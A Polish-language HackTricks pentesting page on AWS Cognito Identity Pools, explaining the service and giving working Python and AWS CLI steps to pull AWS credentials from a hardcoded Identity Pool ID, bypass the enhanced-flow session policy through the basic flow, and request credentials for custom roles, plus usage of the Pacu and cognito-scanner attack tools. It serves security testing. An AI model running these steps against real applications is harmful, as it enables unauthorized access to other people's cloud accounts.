Cognito Identity Pools

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Pule tożsamości pełnią kluczową rolę, umożliwiając Twoim użytkownikom uzyskanie tymczasowych poświadczeń. Te poświadczenia są niezbędne do uzyskania dostępu do różnych usług AWS, w tym między innymi Amazon S3 i DynamoDB. Istotną cechą pul tożsamości jest ich obsługa zarówno dla anonimowych gości, jak i dla różnych dostawców tożsamości do uwierzytelniania użytkowników. Obsługiwane dostawcy tożsamości obejmują:

  • Pule użytkowników Amazon Cognito

  • Opcje logowania społecznościowego, takie jak Facebook, Google, Logowanie z Amazonem i Logowanie z Apple

  • Dostawcy zgodni z protokołem OpenID Connect (OIDC)

  • Dostawcy tożsamości SAML (Security Assertion Markup Language)

  • Uwierzytelnione tożsamości dewelopera

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Aby wygenerować sesje puli tożsamości, najpierw musisz wygenerować ID tożsamości. To ID tożsamości jest identyfikacją sesji tego użytkownika. Te identyfikacje mogą mieć do 20 zestawów danych, które mogą przechowywać do 1 MB par klucz-wartość.

Jest to przydatne do przechowywania informacji o użytkowniku (który zawsze będzie korzystał z tego samego ID tożsamości).

Ponadto, usługa cognito-sync to usługa, która umożliwia zarządzanie i synchronizację tych informacji (w zestawach danych, wysyłanie informacji w strumieniach i wiadomościach SNS...).

Narzędzia do pentestowania

  • Pacu, framework eksploatacji AWS, teraz zawiera moduły "cognito__enum" i "cognito__attack", które automatyzują wyliczanie wszystkich zasobów Cognito w koncie, wykrywanie słabych konfiguracji, atrybutów użytkownika używanych do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym obsługę MFA) i eskalację uprawnień na podstawie modyfikowalnych niestandardowych atrybutów, użytecznych poświadczeń puli tożsamości, roli do przyjęcia w tokenach identyfikacyjnych itp.

Opis funkcji modułów znajduje się w części 2 wpisu na blogu. Instrukcje instalacji znajdują się na głównej stronie Pacu.

Użycie

Przykładowe użycie narzędzia cognito__attack do próby tworzenia użytkownika i wszystkich wektorów eskalacji uprawnień dla określonej puli tożsamości i klienta puli użytkowników:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Przykładowe użycie cognito__enum do zebrania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS:

cognito__enum

Ten polecenie wyświetli wszystkie dostępne informacje o pulach użytkowników, klientach pul użytkowników, pulach tożsamości i użytkownikach w bieżącym koncie AWS.

Pacu (new:test) > run cognito__enum
  • Cognito Scanner to narzędzie wiersza poleceń napisane w języku Python, które implementuje różne ataki na Cognito, w tym niechciane tworzenie kont i eskalację puli tożsamości.

Instalacja

$ pip install cognito-scanner

Użycie

$ cognito-scanner --help

Aby uzyskać więcej informacji, sprawdź https://github.com/padok-team/cognito-scanner

Uzyskiwanie dostępu do ról IAM

Bez uwierzytelnienia

Jedyną rzeczą, jakiej atakujący potrzebuje, aby uzyskać poświadczenia AWS w aplikacji Cognito jako nieuwierzytelniony użytkownik, jest Identity Pool ID, a ten ID musi być wpisany na stałe w aplikacji webowej/mobilnej, aby ją używać. ID wygląda tak: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (nie można go zgadywać metodą brute force).

Domyślnie utworzona rola IAM Cognito dla nieuwierzytelnionych użytkowników nazywa się Cognito_<nazwa Identity Pool>Unauth_Role

Jeśli znajdziesz wpisane na stałe Identity Pool ID i pozwala on na uwierzytelnienie nieuwierzytelnionych użytkowników, możesz uzyskać poświadczenia AWS za pomocą:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Lub możesz użyć następujących poleceń aws cli:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Zauważ, że domyślnie nieuwierzytelniony użytkownik Cognito NIE MOŻE mieć żadnych uprawnień, nawet jeśli zostały mu przypisane za pomocą polityki. Sprawdź następującą sekcję.

Rozszerzony przepływ uwierzytelniania vs podstawowy przepływ uwierzytelniania

Poprzednia sekcja przedstawiała domyślny rozszerzony przepływ uwierzytelniania. Ten przepływ ustawia ograniczającą politykę sesji dla generowanej sesji roli IAM. Ta polityka pozwoli tylko na korzystanie z usług z tej listy (nawet jeśli rola miała dostęp do innych usług).

Jednak istnieje sposób na obejście tego, jeśli pula tożsamości ma włączony "Podstawowy (klasyczny) przepływ", użytkownik będzie mógł uzyskać sesję korzystając z tego przepływu, który nie będzie miał tej ograniczającej polityki sesji.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Jeśli otrzymujesz ten błąd, oznacza to, że podstawowy przepływ nie jest włączony (domyślnie)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Posiadając zestaw poświadczeń IAM, powinieneś sprawdzić jakie masz uprawnienia i spróbować zwiększyć uprawnienia.

Uwierzytelniony

Pamiętaj, że uwierzytelnieni użytkownicy prawdopodobnie będą mieli różne uprawnienia, dlatego jeśli możesz zarejestrować się w aplikacji, spróbuj to zrobić i uzyskaj nowe poświadczenia.

Dla uwierzytelnionych użytkowników uzyskujących dostęp do puli tożsamości mogą być dostępne również role.

W tym celu możesz potrzebować dostępu do dostawcy tożsamości. Jeśli jest to Cognito User Pool, być może możesz wykorzystać domyślne zachowanie i utworzyć nowego użytkownika samodzielnie.

Domyślnie utworzona rola uwierzytelnionego IAM Cognito nazywa się Cognito_<nazwa puli tożsamości>Auth_Role

W każdym razie poniższy przykład zakłada, że już zalogowałeś się w Cognito User Pool, który jest używany do uzyskania dostępu do puli tożsamości (nie zapomnij, że mogą być również skonfigurowane inne typy dostawców tożsamości).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Pobierz identity_id z odpowiedzi poprzedniego polecenia
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# W IdToken można znaleźć role, do których użytkownik ma dostęp ze względu na grupy w puli użytkowników
# Użyj --custom-role-arn, aby uzyskać poświadczenia do określonej roli
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Możliwe jest skonfigurowanie różnych ról IAM w zależności od dostawcy tożsamości, z którego użytkownik jest logowany lub nawet w zależności od użytkownika (używając claimów). Dlatego, jeśli masz dostęp do różnych użytkowników za pośrednictwem tego samego lub różnych dostawców, może warto zalogować się i uzyskać dostęp do ról IAM wszystkich z nich.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated